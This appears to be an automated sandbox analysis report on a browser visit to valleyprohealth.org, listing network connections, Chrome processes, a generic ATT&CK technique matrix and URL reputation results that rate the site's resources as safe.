Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50215
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50211
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50214
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50213
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50239
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50232
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50204
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50180
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50181
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50131
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025

Source: unknown	HTTPS traffic detected: 23.206.6.29:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.206.6.29:443 -> 192.168.2.4:49773 version: TLS 1.2

Source: classification engine

Classification label: sus23.phis.win@32/695@114/30

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1812 --field-trial-handle=2012,i,17370440171839538085,11052004607270784820,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://valleyprohealth.org"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5716 --field-trial-handle=2012,i,17370440171839538085,11052004607270784820,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1812 --field-trial-handle=2012,i,17370440171839538085,11052004607270784820,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5716 --field-trial-handle=2012,i,17370440171839538085,11052004607270784820,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Accept
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: agree
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: agree

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://valleyprohealth.org	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
http://docs.closure-library.googlecode.com/git/closure_goog_date_date.js.source.html	0%	URL Reputation	safe
http://www.robertpenner.com/easing)	0%	URL Reputation	safe
https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_suggested_posts.css?ver=230904-91942	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/plugins/google-language-translator/css/style.css?ver=6.0.20	0%	Avira URL Cloud	safe
http://valleyprohealth.org/wp-content/uploads/2020/07/img__services-scaled.jpg	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_full_width_hero.css?ver=230904-91	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2022/06/Childress-Josh-9F7A6981-e1660334917549-136x13	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/favicon-96x96.png	0%	Avira URL Cloud	safe
http://valleyprohealth.org/vap	0%	Avira URL Cloud	safe
https://valleyprohealth.org/good-faith-estimate	0%	Avira URL Cloud	safe
https://valleyprohealth.org/terms-and-conditions	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_homepage_hero.css?ver=230904-9193	0%	Avira URL Cloud	safe
about:blank	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/fqhc_x2logo.png	0%	Avira URL Cloud	safe
https://cdn.acsbapp.com/config/valleyprohealth.org/config.json	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/cta-800x606.jpg	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/uploads/2020/07/talk-1100x1100.jpg	0%	Avira URL Cloud	safe
https://www.healowpay.com/HealowPay/jsp/js/assets/css/healow-practice-pay-widget.css	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/themes/vpchc/images/favicon/apple-icon-144x144.png	0%	Avira URL Cloud	safe
https://www.healowpay.com/HealowPay/jsp/js/assets/css/bootstrap.min.css	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/themes/vpchc/dist/acf_block_tab_with_content.bundle.js?ver=23	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/plugins/wp-google-places-review-slider/public/js/wprev-public-com-min.js?ver=13.6	0%	Avira URL Cloud	safe
https://hu-manity.co/	0%	Avira URL Cloud	safe
https://m0n.co/e	0%	Avira URL Cloud	safe
https://valleyprohealth.org/wp-content/plugins/user-submitted-posts/resources/jquery.usp.core.js?ver	0%	Avira URL Cloud	safe
